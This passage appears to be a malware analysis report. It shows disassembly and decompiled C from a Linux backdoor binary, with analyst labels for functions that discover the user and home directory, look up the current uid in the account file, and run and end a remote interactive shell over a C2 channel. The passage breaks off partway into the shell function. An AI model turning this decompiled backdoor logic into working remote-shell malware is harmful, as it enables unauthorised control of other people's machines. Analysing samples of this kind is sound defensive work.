004010cc	ff cb	DEC EBX
004010ce	48 89 4c 24 10	MOV qword ptr [RSP + local_78],RCX
004010d3	e8 38 6e 01 00	CALL FUN_00417f10
004010d8	48 8b 4c 24 10	MOV RCX,qword ptr [RSP + local_78]
004010dd	31 d2	XOR EDX,EDX
004010df	49 89 c7	MOV R15,RAX
004010e2	41 0f b6 c4	MOVZX EAX,R12B
004010e6	89 44 24 18	MOV dword ptr [RSP + local_70],EAX
LAB_004010ea:
004010ea	85 db	TEST EBX,EBX
004010ec	0f 84 c2 00 00 00	JZ LAB_004011b4
004010f2	8a 01	MOV AL,byte ptr [RCX]
004010f4	49 89 d2	MOV R10,RDX
004010f7	48 89 54 24 38	MOV qword ptr [RSP + local_50],RDX
004010fc	49 c1 e2 04	SHL R10,0x4
00401100	43 88 04 17	MOV byte ptr [R15 + R10*0x1],AL
00401104	4c 89 54 24 30	MOV qword ptr [RSP + local_58],R10
00401109	83 fb 01	CMP EBX,0x1
0040110c	0f 84 d8 00 00 00	JZ LAB_004011ea
00401112	44 0f b6 41 01	MOVZX R8D,byte ptr [RCX + 0x1]
00401117	48 8d 41 02	LEA RAX,[RCX + 0x2]
0040111b	83 eb 02	SUB EBX,0x2
0040111e	48 89 44 24 10	MOV qword ptr [RSP + local_78],RAX
00401123	44 88 44 24 28	MOV byte ptr [RSP + local_60],R8B
00401128	41 39 d8	CMP R8D,EBX
0040112b	0f 8f b9 00 00 00	JG LAB_004011ea
00401131	41 8d 78 01	LEA EDI,[R8 + 0x1]
00401135	be 01 00 00 00	MOV ESI,0x1
0040113a	44 89 44 24 20	MOV dword ptr [RSP + local_68],R8D
0040113f	48 63 ff	MOVSXD RDI,EDI
00401142	e8 c9 6d 01 00	CALL FUN_00417f10
00401147	4c 8b 54 24 30	MOV R10,qword ptr [RSP + local_58]
0040114c	4b 89 44 17 08	MOV qword ptr [R15 + R10*0x1 + 0x8],RAX
00401151	48 85 c0	TEST RAX,RAX
00401154	0f 84 90 00 00 00	JZ LAB_004011ea
0040115a	44 0f b6 54 24 28	MOVZX R10D,byte ptr [RSP + local_60]
00401160	48 8b 74 24 10	MOV RSI,qword ptr [RSP + local_78]
00401165	48 89 c7	MOV RDI,RAX
00401168	44 8b 44 24 20	MOV R8D,dword ptr [RSP + local_68]
0040116d	48 8b 54 24 38	MOV RDX,qword ptr [RSP + local_50]
00401172	4c 89 d1	MOV RCX,R10
00401175	f3 a4	MOVSB.REP RDI,RSI
00401177	44 29 c3	SUB EBX,R8D
0040117a	48 ff c2	INC RDX
0040117d	48 89 f1	MOV RCX,RSI
00401180	39 54 24 18	CMP dword ptr [RSP + local_70],EDX
00401184	0f 8f 60 ff ff ff	JG LAB_004010ea
0040118a	eb 03	JMP LAB_0040118f
LAB_0040118c:
0040118c	45 31 ff	XOR R15D,R15D
LAB_0040118f:
0040118f	e8 a8 6a 01 00	CALL FUN_00417c3c
00401194	0f b6 74 24 0f	MOVZX ESI,byte ptr [RSP + local_79]
00401199	4d 89 f9	MOV R9,R15
0040119c	48 89 e9	MOV RCX,RBP
0040119f	c7 00 00 00 00 00	MOV dword ptr [RAX],0x0
004011a5	45 0f b6 c4	MOVZX R8D,R12B
004011a9	44 89 ea	MOV EDX,R13D
004011ac	44 89 f7	MOV EDI,R14D
004011af	e8 77 fb ff ff	CALL FUN_00400d2b
LAB_004011b4:
004011b4	48 85 ed	TEST RBP,RBP
004011b7	74 08	JZ LAB_004011c1
LAB_004011b9:
004011b9	48 89 ef	MOV RDI,RBP
004011bc	e8 3f 6e 01 00	CALL thunk_FUN_004183e7
LAB_004011c1:
004011c1	4d 85 ff	TEST R15,R15
004011c4	74 2b	JZ LAB_004011f1
LAB_004011c6:
004011c6	48 83 c4 58	ADD RSP,0x58
004011ca	41 0f b6 f4	MOVZX ESI,R12B
004011ce	4c 89 ff	MOV RDI,R15
004011d1	5b	POP RBX
004011d2	5d	POP RBP
004011d3	41 5c	POP R12
004011d5	41 5d	POP R13
004011d7	41 5e	POP R14
004011d9	41 5f	POP R15
004011db	e9 bd fa ff ff	JMP FUN_00400c9d
LAB_004011e0:
004011e0	45 31 ff	XOR R15D,R15D
004011e3	48 85 ed	TEST RBP,RBP
004011e6	75 d1	JNZ LAB_004011b9
004011e8	eb 07	JMP LAB_004011f1
LAB_004011ea:
004011ea	48 85 ed	TEST RBP,RBP
004011ed	75 ca	JNZ LAB_004011b9
004011ef	eb d5	JMP LAB_004011c6
LAB_004011f1:
004011f1	48 83 c4 58	ADD RSP,0x58
004011f5	5b	POP RBX
004011f6	5d	POP RBP
004011f7	41 5c	POP R12
004011f9	41 5d	POP R13
004011fb	41 5e	POP R14
004011fd	41 5f	POP R15
004011ff	c3	RET
LAB_00401200:
00401200	c3	RET

learns the user and home values for the…

0x40a57f747 bytes

undefined FUN_0040a57f()

learns the user and home values for the shell by running store-named programs and reading store-named files

Cited as: E27
Behaviours: B10
Called from: FUN_0040aa12
Calls: FUN_0040a2e6, FUN_0040a494, FUN_0040a4b6, FUN_0040a52a, FUN_0040d2bf, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, FUN_0041cf00, FUN_0041cfd0, FUN_0041dc39

Decompiled C · 97 lines

void FUN_0040a57f(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  long lVar6;
  char *pcVar7;
  long lVar8;
  undefined4 *puVar9;
  char local_2b8 [128];
  undefined8 local_238;
  long local_230;
  undefined8 local_228;
  
  lVar8 = 0;
  DAT_0062bc00 = 0;
  do {
    lVar2 = FUN_0040a2e6((&DAT_00426df0)[lVar8]);
    if (lVar2 != 0) {
      puVar9 = &DAT_00426dd0;
      do {
        lVar3 = FUN_0040a2e6(*puVar9);
        if ((lVar3 != 0) && (iVar1 = FUN_0040a494(lVar3), iVar1 != 0)) {
          local_228 = 0;
          local_238 = lVar3;
          local_230 = lVar2;
          iVar1 = FUN_0040d2bf(lVar3,&local_238,local_2b8,0x80);
          if ((iVar1 == 0) && (FUN_0040a4b6(local_2b8), local_2b8[0] != '\0')) {
            iVar1 = FUN_0040a52a(local_2b8);
            if (iVar1 == 0) goto LAB_0040a745;
            break;
          }
        }
        puVar9 = puVar9 + 1;
      } while (puVar9 != (undefined4 *)&DAT_00426dd8);
    }
    lVar8 = lVar8 + 1;
  } while (lVar8 != 5);
  lVar8 = 0;
  do {
    puVar9 = &DAT_00426df0;
    lVar2 = FUN_0040a2e6((&DAT_00426de0)[lVar8]);
    do {
      lVar3 = FUN_0040a2e6(*puVar9);
      if (((lVar2 != 0) && (lVar3 != 0)) && (lVar4 = FUN_0041c633(lVar2,&DAT_00424f7e), lVar4 != 0))
      {
        lVar5 = FUN_0041cf00(lVar3);
        do {
          lVar6 = FUN_0041c4d7(&local_238,0x200,lVar4);
          if (lVar6 == 0) {
            FUN_0041c306(lVar4);
            goto LAB_0040a762;
          }
          iVar1 = FUN_0041cfd0(&local_238,lVar3,lVar5);
        } while ((iVar1 != 0) || (*(char *)((long)&local_238 + lVar5) != '='));
        FUN_0041c7c9(local_2b8,0x80,&DAT_00426e41,(long)&local_238 + lVar5 + 1);
        FUN_0040a4b6(local_2b8);
        FUN_0041c306(lVar4);
        if ((local_2b8[0] != '\0') && (iVar1 = FUN_0040a52a(local_2b8), iVar1 == 0))
        goto LAB_0040a745;
      }
LAB_0040a762:
      puVar9 = puVar9 + 1;
    } while (puVar9 != (undefined4 *)&DAT_00426e04);
    lVar8 = lVar8 + 1;
  } while (lVar8 != 4);
  pcVar7 = (char *)&local_238;
  lVar8 = FUN_0040a2e6(299);
  if ((lVar8 != 0) && (lVar8 = FUN_0041c633(lVar8,&DAT_00424f7e), lVar8 != 0)) {
    lVar2 = FUN_0041c4d7(pcVar7,0x80,lVar8);
    if (lVar2 == 0) {
      FUN_0041c306(lVar8);
    }
    else {
      FUN_0041c306(lVar8);
      FUN_0040a4b6(pcVar7);
      if (((char)local_238 != '\0') && (iVar1 = FUN_0040a52a(pcVar7), iVar1 == 0))
      goto LAB_0040a851;
    }
  }
  iVar1 = FUN_0041dc39(pcVar7,0x7f);
  if (((iVar1 != 0) || (((char)local_238 == '\0' || (iVar1 = FUN_0040a52a(pcVar7), iVar1 != 0)))) &&
     (pcVar7 = (char *)FUN_0040a2e6(300), pcVar7 == (char *)0x0)) {
    pcVar7 = "";
  }
LAB_0040a851:
  FUN_0041c7c9(&DAT_0062bc00,0x40,&DAT_00426e41,pcVar7);
  return;
LAB_0040a745:
  pcVar7 = local_2b8;
  goto LAB_0040a851;
}

Assembly · 184 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040a57f	41 57	PUSH R15	; E27
0040a581	41 56	PUSH R14
0040a583	4c 8d 35 66 c8 01 00	LEA R14,[DAT_00426df0]
0040a58a	41 55	PUSH R13
0040a58c	41 54	PUSH R12
0040a58e	55	PUSH RBP
0040a58f	53	PUSH RBX
0040a590	31 db	XOR EBX,EBX
0040a592	48 81 ec 98 02 00 00	SUB RSP,0x298
0040a599	c6 05 60 16 22 00 00	MOV byte ptr [DAT_0062bc00],0x0
LAB_0040a5a0:
0040a5a0	41 8b 3c 9e	MOV EDI,dword ptr [R14 + RBX*0x4]
0040a5a4	e8 3d fd ff ff	CALL FUN_0040a2e6
0040a5a9	48 89 c5	MOV RBP,RAX
0040a5ac	48 85 c0	TEST RAX,RAX
0040a5af	0f 84 94 00 00 00	JZ LAB_0040a649
0040a5b5	4c 8d 25 14 c8 01 00	LEA R12,[DAT_00426dd0]
0040a5bc	4c 8d 6c 24 10	LEA R13,[RSP + 0x10]
0040a5c1	4d 8d 7c 24 08	LEA R15,[R12 + 0x8]
LAB_0040a5c6:
0040a5c6	41 8b 3c 24	MOV EDI,dword ptr [R12]
0040a5ca	e8 17 fd ff ff	CALL FUN_0040a2e6
0040a5cf	48 89 c7	MOV RDI,RAX
0040a5d2	48 85 c0	TEST RAX,RAX
0040a5d5	74 57	JZ LAB_0040a62e
0040a5d7	48 89 44 24 08	MOV qword ptr [RSP + local_2c0],RAX
0040a5dc	e8 b3 fe ff ff	CALL FUN_0040a494
0040a5e1	85 c0	TEST EAX,EAX
0040a5e3	74 49	JZ LAB_0040a62e
0040a5e5	48 8b 7c 24 08	MOV RDI,qword ptr [RSP + local_2c0]
0040a5ea	48 8d b4 24 90 00 00 00	LEA RSI,[RSP + 0x90]
0040a5f2	b9 80 00 00 00	MOV ECX,0x80
0040a5f7	4c 89 ea	MOV RDX,R13
0040a5fa	48 89 ac 24 98 00 00 00	MOV qword ptr [RSP + local_230],RBP
0040a602	48 89 bc 24 90 00 00 00	MOV qword ptr [RSP + local_238],RDI
0040a60a	48 c7 84 24 a0 00 00 00 …	MOV qword ptr [RSP + local_228],0x0
0040a616	e8 a4 2c 00 00	CALL FUN_0040d2bf
0040a61b	85 c0	TEST EAX,EAX
0040a61d	75 0f	JNZ LAB_0040a62e
0040a61f	4c 89 ef	MOV RDI,R13
0040a622	e8 8f fe ff ff	CALL FUN_0040a4b6
0040a627	80 7c 24 10 00	CMP byte ptr [RSP + local_2b8],0x0
0040a62c	75 0b	JNZ LAB_0040a639
LAB_0040a62e:
0040a62e	49 83 c4 04	ADD R12,0x4
0040a632	4d 39 e7	CMP R15,R12
0040a635	74 12	JZ LAB_0040a649
0040a637	eb 8d	JMP LAB_0040a5c6
LAB_0040a639:
0040a639	4c 89 ef	MOV RDI,R13
0040a63c	e8 e9 fe ff ff	CALL FUN_0040a52a
0040a641	85 c0	TEST EAX,EAX
0040a643	0f 84 fc 00 00 00	JZ LAB_0040a745
LAB_0040a649:
0040a649	48 ff c3	INC RBX
0040a64c	48 83 fb 05	CMP RBX,0x5
0040a650	0f 85 4a ff ff ff	JNZ LAB_0040a5a0
0040a656	45 31 e4	XOR R12D,R12D
LAB_0040a659:
0040a659	48 8d 05 80 c7 01 00	LEA RAX,[DAT_00426de0]
0040a660	4c 8d 2d 89 c7 01 00	LEA R13,[DAT_00426df0]
0040a667	42 8b 3c a0	MOV EDI,dword ptr [RAX + R12*0x4]
0040a66b	e8 76 fc ff ff	CALL FUN_0040a2e6
0040a670	48 89 44 24 08	MOV qword ptr [RSP + local_2c0],RAX
LAB_0040a675:
0040a675	41 8b 7d 00	MOV EDI,dword ptr [R13]
0040a679	e8 68 fc ff ff	CALL FUN_0040a2e6
0040a67e	48 83 7c 24 08 00	CMP qword ptr [RSP + local_2c0],0x0
0040a684	48 89 c3	MOV RBX,RAX
0040a687	0f 84 d5 00 00 00	JZ LAB_0040a762
0040a68d	48 85 c0	TEST RAX,RAX
0040a690	0f 84 cc 00 00 00	JZ LAB_0040a762
0040a696	48 8b 7c 24 08	MOV RDI,qword ptr [RSP + local_2c0]
0040a69b	48 8d 35 dc a8 01 00	LEA RSI,[DAT_00424f7e]
0040a6a2	e8 8c 1f 01 00	CALL FUN_0041c633
0040a6a7	48 89 c5	MOV RBP,RAX
0040a6aa	48 85 c0	TEST RAX,RAX
0040a6ad	0f 84 af 00 00 00	JZ LAB_0040a762
0040a6b3	48 89 df	MOV RDI,RBX
0040a6b6	4c 8d b4 24 90 00 00 00	LEA R14,[RSP + 0x90]
0040a6be	e8 3d 28 01 00	CALL FUN_0041cf00
0040a6c3	49 89 c7	MOV R15,RAX
LAB_0040a6c6:
0040a6c6	48 89 ea	MOV RDX,RBP
0040a6c9	be 00 02 00 00	MOV ESI,0x200
0040a6ce	4c 89 f7	MOV RDI,R14
0040a6d1	e8 01 1e 01 00	CALL FUN_0041c4d7
0040a6d6	48 85 c0	TEST RAX,RAX
0040a6d9	74 54	JZ LAB_0040a72f
0040a6db	4c 89 fa	MOV RDX,R15
0040a6de	48 89 de	MOV RSI,RBX
0040a6e1	4c 89 f7	MOV RDI,R14
0040a6e4	e8 e7 28 01 00	CALL FUN_0041cfd0
0040a6e9	85 c0	TEST EAX,EAX
0040a6eb	75 d9	JNZ LAB_0040a6c6
0040a6ed	42 80 bc 3c 90 00 00 00 …	CMP byte ptr [RSP + R15*0x1 + 0x90],0x3d
0040a6f6	75 ce	JNZ LAB_0040a6c6
0040a6f8	48 8d 5c 24 10	LEA RBX,[RSP + 0x10]
0040a6fd	4b 8d 4c 3e 01	LEA RCX,[R14 + R15*0x1 + 0x1]
0040a702	be 80 00 00 00	MOV ESI,0x80
0040a707	48 8d 15 33 c7 01 00	LEA RDX,[DAT_00426e41]
0040a70e	48 89 df	MOV RDI,RBX
0040a711	e8 b3 20 01 00	CALL FUN_0041c7c9
0040a716	48 89 df	MOV RDI,RBX
0040a719	e8 98 fd ff ff	CALL FUN_0040a4b6
0040a71e	48 89 ef	MOV RDI,RBP
0040a721	e8 e0 1b 01 00	CALL FUN_0041c306
0040a726	80 7c 24 10 00	CMP byte ptr [RSP + local_2b8],0x0
0040a72b	75 0c	JNZ LAB_0040a739
0040a72d	eb 33	JMP LAB_0040a762
LAB_0040a72f:
0040a72f	48 89 ef	MOV RDI,RBP
0040a732	e8 cf 1b 01 00	CALL FUN_0041c306
0040a737	eb 29	JMP LAB_0040a762
LAB_0040a739:
0040a739	48 89 df	MOV RDI,RBX
0040a73c	e8 e9 fd ff ff	CALL FUN_0040a52a
0040a741	85 c0	TEST EAX,EAX
0040a743	75 1d	JNZ LAB_0040a762
LAB_0040a745:
0040a745	48 8d 4c 24 10	LEA RCX,[RSP + 0x10]
0040a74a	48 8d 15 f0 c6 01 00	LEA RDX,[DAT_00426e41]
0040a751	be 40 00 00 00	MOV ESI,0x40
0040a756	48 8d 3d a3 14 22 00	LEA RDI,[DAT_0062bc00]
0040a75d	e9 ef 00 00 00	JMP LAB_0040a851
LAB_0040a762:
0040a762	49 83 c5 04	ADD R13,0x4
0040a766	48 8d 05 97 c6 01 00	LEA RAX,[DAT_00426e04]
0040a76d	4c 39 e8	CMP RAX,R13
0040a770	0f 85 ff fe ff ff	JNZ LAB_0040a675
0040a776	49 ff c4	INC R12
0040a779	49 83 fc 04	CMP R12,0x4
0040a77d	0f 85 d6 fe ff ff	JNZ LAB_0040a659
0040a783	bf 2b 01 00 00	MOV EDI,0x12b
0040a788	4c 8d a4 24 90 00 00 00	LEA R12,[RSP + 0x90]
0040a790	4c 8d 35 aa c6 01 00	LEA R14,[DAT_00426e41]
0040a797	e8 4a fb ff ff	CALL FUN_0040a2e6
0040a79c	4c 8d 2d 5d 14 22 00	LEA R13,[DAT_0062bc00]
0040a7a3	48 85 c0	TEST RAX,RAX
0040a7a6	48 89 c7	MOV RDI,RAX
0040a7a9	74 5b	JZ LAB_0040a806
0040a7ab	48 8d 35 cc a7 01 00	LEA RSI,[DAT_00424f7e]
0040a7b2	e8 7c 1e 01 00	CALL FUN_0041c633
0040a7b7	48 89 c5	MOV RBP,RAX
0040a7ba	48 85 c0	TEST RAX,RAX
0040a7bd	74 47	JZ LAB_0040a806
0040a7bf	4c 89 e7	MOV RDI,R12
0040a7c2	48 89 c2	MOV RDX,RAX
0040a7c5	be 80 00 00 00	MOV ESI,0x80
0040a7ca	e8 08 1d 01 00	CALL FUN_0041c4d7
0040a7cf	48 89 ef	MOV RDI,RBP
0040a7d2	48 85 c0	TEST RAX,RAX
0040a7d5	75 07	JNZ LAB_0040a7de
0040a7d7	e8 2a 1b 01 00	CALL FUN_0041c306
0040a7dc	eb 28	JMP LAB_0040a806
LAB_0040a7de:
0040a7de	e8 23 1b 01 00	CALL FUN_0041c306
0040a7e3	4c 89 e7	MOV RDI,R12
0040a7e6	e8 cb fc ff ff	CALL FUN_0040a4b6
0040a7eb	80 bc 24 90 00 00 00 00	CMP byte ptr [RSP + local_238],0x0
0040a7f3	74 11	JZ LAB_0040a806
0040a7f5	4c 89 e7	MOV RDI,R12
0040a7f8	e8 2d fd ff ff	CALL FUN_0040a52a
0040a7fd	85 c0	TEST EAX,EAX
0040a7ff	75 05	JNZ LAB_0040a806
LAB_0040a801:
0040a801	4c 89 e1	MOV RCX,R12
0040a804	eb 40	JMP LAB_0040a846
LAB_0040a806:
0040a806	be 7f 00 00 00	MOV ESI,0x7f
0040a80b	4c 89 e7	MOV RDI,R12
0040a80e	e8 26 34 01 00	CALL FUN_0041dc39
0040a813	85 c0	TEST EAX,EAX
0040a815	75 16	JNZ LAB_0040a82d
0040a817	80 bc 24 90 00 00 00 00	CMP byte ptr [RSP + local_238],0x0
0040a81f	74 0c	JZ LAB_0040a82d
0040a821	4c 89 e7	MOV RDI,R12
0040a824	e8 01 fd ff ff	CALL FUN_0040a52a
0040a829	85 c0	TEST EAX,EAX
0040a82b	74 d4	JZ LAB_0040a801
LAB_0040a82d:
0040a82d	bf 2c 01 00 00	MOV EDI,0x12c
0040a832	e8 af fa ff ff	CALL FUN_0040a2e6
0040a837	48 89 c1	MOV RCX,RAX
0040a83a	48 85 c0	TEST RAX,RAX
0040a83d	75 07	JNZ LAB_0040a846
0040a83f	48 8d 0d 6d d1 01 00	LEA RCX,[DAT_004279b3]
LAB_0040a846:
0040a846	4c 89 f2	MOV RDX,R14
0040a849	be 40 00 00 00	MOV ESI,0x40
0040a84e	4c 89 ef	MOV RDI,R13
LAB_0040a851:
0040a851	31 c0	XOR EAX,EAX
0040a853	e8 71 1f 01 00	CALL FUN_0041c7c9
0040a858	48 81 c4 98 02 00 00	ADD RSP,0x298
0040a85f	5b	POP RBX
0040a860	5d	POP RBP
0040a861	41 5c	POP R12
0040a863	41 5d	POP R13
0040a865	41 5e	POP R14
0040a867	41 5f	POP R15
0040a869	c3	RET

finds the account-file entry whose uid…

0x40a86a222 bytes

undefined FUN_0040a86a()

finds the account-file entry whose uid equals getuid()

Cited as: E27
Behaviours: B10
Called from: FUN_0040aa12
Calls: FUN_0040a2e6, FUN_0041c306, FUN_0041c4d7, FUN_0041c633, FUN_0041c7c9, thunk_FUN_0041cba9, FUN_0041cd50

Decompiled C · 36 lines

void FUN_0040a86a(int param_1)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined1 *puVar4;
  long local_230;
  undefined1 local_228 [520];
  
  lVar2 = FUN_0040a2e6(0x1b0);
  if (lVar2 != 0) {
    lVar2 = FUN_0041c633(lVar2,&DAT_00424f7e);
    if (lVar2 != 0) {
      do {
        do {
          do {
            lVar3 = FUN_0041c4d7(local_228,0x200,lVar2);
            if (lVar3 == 0) goto LAB_0040a932;
            puVar4 = (undefined1 *)FUN_0041cd50(local_228,0x3a);
          } while (puVar4 == (undefined1 *)0x0);
          *puVar4 = 0;
          lVar3 = FUN_0041cd50(puVar4 + 1,0x3a);
        } while (lVar3 == 0);
        local_230 = 0;
        iVar1 = thunk_FUN_0041cba9(lVar3 + 1,&local_230,10);
      } while ((lVar3 + 1 == local_230) || (param_1 != iVar1));
      FUN_0041c7c9(&DAT_0062bc40,0x40,&DAT_00426e41,local_228);
LAB_0040a932:
      FUN_0041c306(lVar2);
    }
  }
  return;
}

Assembly · 58 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
0040a86a	41 55	PUSH R13	; E27
0040a86c	41 89 fd	MOV R13D,EDI
0040a86f	bf b0 01 00 00	MOV EDI,0x1b0
0040a874	41 54	PUSH R12
0040a876	55	PUSH RBP
0040a877	53	PUSH RBX
0040a878	48 81 ec 18 02 00 00	SUB RSP,0x218
0040a87f	e8 62 fa ff ff	CALL FUN_0040a2e6
0040a884	48 85 c0	TEST RAX,RAX
0040a887	0f 84 ad 00 00 00	JZ LAB_0040a93a
0040a88d	48 89 c7	MOV RDI,RAX
0040a890	48 8d 35 e7 a6 01 00	LEA RSI,[DAT_00424f7e]
0040a897	4c 8d 64 24 10	LEA R12,[RSP + 0x10]
0040a89c	e8 92 1d 01 00	CALL FUN_0041c633
0040a8a1	48 89 c5	MOV RBP,RAX
0040a8a4	48 85 c0	TEST RAX,RAX
0040a8a7	0f 84 8d 00 00 00	JZ LAB_0040a93a
LAB_0040a8ad:
0040a8ad	48 89 ea	MOV RDX,RBP
0040a8b0	be 00 02 00 00	MOV ESI,0x200
0040a8b5	4c 89 e7	MOV RDI,R12
0040a8b8	e8 1a 1c 01 00	CALL FUN_0041c4d7
0040a8bd	48 85 c0	TEST RAX,RAX
0040a8c0	74 70	JZ LAB_0040a932
0040a8c2	be 3a 00 00 00	MOV ESI,0x3a
0040a8c7	4c 89 e7	MOV RDI,R12
0040a8ca	e8 81 24 01 00	CALL FUN_0041cd50
0040a8cf	48 85 c0	TEST RAX,RAX
0040a8d2	74 d9	JZ LAB_0040a8ad
0040a8d4	c6 00 00	MOV byte ptr [RAX],0x0
0040a8d7	48 8d 78 01	LEA RDI,[RAX + 0x1]
0040a8db	be 3a 00 00 00	MOV ESI,0x3a
0040a8e0	e8 6b 24 01 00	CALL FUN_0041cd50
0040a8e5	48 85 c0	TEST RAX,RAX
0040a8e8	74 c3	JZ LAB_0040a8ad
0040a8ea	48 8d 58 01	LEA RBX,[RAX + 0x1]
0040a8ee	48 8d 74 24 08	LEA RSI,[RSP + 0x8]
0040a8f3	ba 0a 00 00 00	MOV EDX,0xa
0040a8f8	48 c7 44 24 08 00 00 00 …	MOV qword ptr [RSP + local_230],0x0
0040a901	48 89 df	MOV RDI,RBX
0040a904	e8 a9 22 01 00	CALL thunk_FUN_0041cba9
0040a909	48 3b 5c 24 08	CMP RBX,qword ptr [RSP + local_230]
0040a90e	74 9d	JZ LAB_0040a8ad
0040a910	41 39 c5	CMP R13D,EAX
0040a913	75 98	JNZ LAB_0040a8ad
0040a915	4c 89 e1	MOV RCX,R12
0040a918	48 8d 15 22 c5 01 00	LEA RDX,[DAT_00426e41]
0040a91f	be 40 00 00 00	MOV ESI,0x40
0040a924	31 c0	XOR EAX,EAX
0040a926	48 8d 3d 13 13 22 00	LEA RDI,[DAT_0062bc40]
0040a92d	e8 97 1e 01 00	CALL FUN_0041c7c9
LAB_0040a932:
0040a932	48 89 ef	MOV RDI,RBP
0040a935	e8 cc 19 01 00	CALL FUN_0041c306
LAB_0040a93a:
0040a93a	48 81 c4 18 02 00 00	ADD RSP,0x218
0040a941	5b	POP RBX
0040a942	5d	POP RBP
0040a943	41 5c	POP R12
0040a945	41 5d	POP R13
0040a947	c3	RET

ends the remote shell session

0x40a948195 bytes

undefined FUN_0040a948()

ends the remote shell session

Cited as: E26
Behaviours: B11
Called from: FUN_0040aa12, FUN_0040afc5
Calls: FUN_0041bf3d, FUN_0041c083, FUN_0041db41, FUN_0041dda5

Decompiled C · 43 lines

void FUN_0040a948(void)

{
  int iVar1;
  int iVar2;
  int iVar3;
  undefined1 local_1c [4];
  
  iVar3 = DAT_0062b9e4;
  iVar1 = DAT_0062b9e0;
  DAT_0062b9e4 = 0xffffffff;
  DAT_0062b9e0 = 0xffffffff;
  if (-1 < iVar3) {
    FUN_0041db41();
  }
  if (0 < iVar1) {
    iVar3 = 0x14;
    FUN_0041c083(iVar1,1);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    iVar3 = 10;
    FUN_0041c083(iVar1,0xf);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    FUN_0041c083(iVar1,9);
    FUN_0041bf3d(iVar1,local_1c,0);
  }
  return;
}

Assembly · 54 instructions, 0 annotated

Address	Bytes	Instruction
0040a948	41 54	PUSH R12
0040a94a	55	PUSH RBP
0040a94b	53	PUSH RBX
0040a94c	48 83 ec 10	SUB RSP,0x10
0040a950	8b 3d 8e 10 22 00	MOV EDI,dword ptr [DAT_0062b9e4]
0040a956	8b 2d 84 10 22 00	MOV EBP,dword ptr [DAT_0062b9e0]
0040a95c	c7 05 7e 10 22 00 ff ff …	MOV dword ptr [DAT_0062b9e4],0xffffffff
0040a966	c7 05 70 10 22 00 ff ff …	MOV dword ptr [DAT_0062b9e0],0xffffffff
0040a970	85 ff	TEST EDI,EDI
0040a972	78 05	JS LAB_0040a979
0040a974	e8 c8 31 01 00	CALL FUN_0041db41
LAB_0040a979:
0040a979	85 ed	TEST EBP,EBP
0040a97b	0f 8e 81 00 00 00	JLE LAB_0040aa02
0040a981	be 01 00 00 00	MOV ESI,0x1
0040a986	89 ef	MOV EDI,EBP
0040a988	bb 14 00 00 00	MOV EBX,0x14
0040a98d	e8 f1 16 01 00	CALL FUN_0041c083
0040a992	4c 8d 64 24 0c	LEA R12,[RSP + 0xc]
LAB_0040a997:
0040a997	ba 01 00 00 00	MOV EDX,0x1
0040a99c	4c 89 e6	MOV RSI,R12
0040a99f	89 ef	MOV EDI,EBP
0040a9a1	e8 97 15 01 00	CALL FUN_0041bf3d
0040a9a6	39 e8	CMP EAX,EBP
0040a9a8	74 58	JZ LAB_0040aa02
0040a9aa	bf 50 c3 00 00	MOV EDI,0xc350
0040a9af	e8 f1 33 01 00	CALL FUN_0041dda5
0040a9b4	ff cb	DEC EBX
0040a9b6	75 df	JNZ LAB_0040a997
0040a9b8	be 0f 00 00 00	MOV ESI,0xf
0040a9bd	89 ef	MOV EDI,EBP
0040a9bf	bb 0a 00 00 00	MOV EBX,0xa
0040a9c4	e8 ba 16 01 00	CALL FUN_0041c083
LAB_0040a9c9:
0040a9c9	ba 01 00 00 00	MOV EDX,0x1
0040a9ce	4c 89 e6	MOV RSI,R12
0040a9d1	89 ef	MOV EDI,EBP
0040a9d3	e8 65 15 01 00	CALL FUN_0041bf3d
0040a9d8	39 e8	CMP EAX,EBP
0040a9da	74 26	JZ LAB_0040aa02
0040a9dc	bf 50 c3 00 00	MOV EDI,0xc350
0040a9e1	e8 bf 33 01 00	CALL FUN_0041dda5
0040a9e6	ff cb	DEC EBX
0040a9e8	75 df	JNZ LAB_0040a9c9
0040a9ea	be 09 00 00 00	MOV ESI,0x9
0040a9ef	89 ef	MOV EDI,EBP
0040a9f1	e8 8d 16 01 00	CALL FUN_0041c083
0040a9f6	31 d2	XOR EDX,EDX
0040a9f8	4c 89 e6	MOV RSI,R12
0040a9fb	89 ef	MOV EDI,EBP
0040a9fd	e8 3b 15 01 00	CALL FUN_0041bf3d
LAB_0040aa02:
0040aa02	48 83 c4 10	ADD RSP,0x10
0040aa06	5b	POP RBX
0040aa07	5d	POP RBP
0040aa08	41 5c	POP R12
0040aa0a	c3	RET

remote interactive shell over the C2

0x40aa121459 bytes

undefined FUN_0040aa12()

remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command

Cited as: E26
Behaviours: B11
Called from: FUN_004138f6
Calls: FUN_0040a2e6, FUN_0040a31c, FUN_0040a43a, FUN_0040a494, FUN_0040a57f, FUN_0040a86a, FUN_0040a948, FUN_0040b0b8, FUN_0040b0fb, FUN_0040b165, FUN_00417b80, FUN_00417c6e, FUN_00417dc5, FUN_004193eb, FUN_0041942a, FUN_0041942d, FUN_0041bcc7, FUN_0041bdde, FUN_0041c7c9, FUN_0041cea0, FUN_0041d540, FUN_0041db14, FUN_0041db41, FUN_0041db79, FUN_0041db9a

Decompiled C · 225 lines

ulong FUN_0040aa12(long param_1,int param_2,code *param_3,long param_4)

{
  uint uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  uint uVar5;
  long lVar6;
  undefined1 *puVar7;
  long lVar8;
  long lVar9;
  long lVar10;
  ulong uVar11;
  undefined1 *puVar12;
  undefined8 uVar13;
  undefined1 *puVar14;
  undefined *puVar15;
  char *pcVar16;
  long lVar17;
  byte bVar18;
  char local_4b;
  ushort local_4a;
  long local_48;
  undefined4 local_40;
  int local_3c;
  
  bVar18 = 0;
  if (((param_1 == 0) || (param_2 < 7)) || (iVar2 = FUN_0040b0b8(), iVar2 == 0)) {
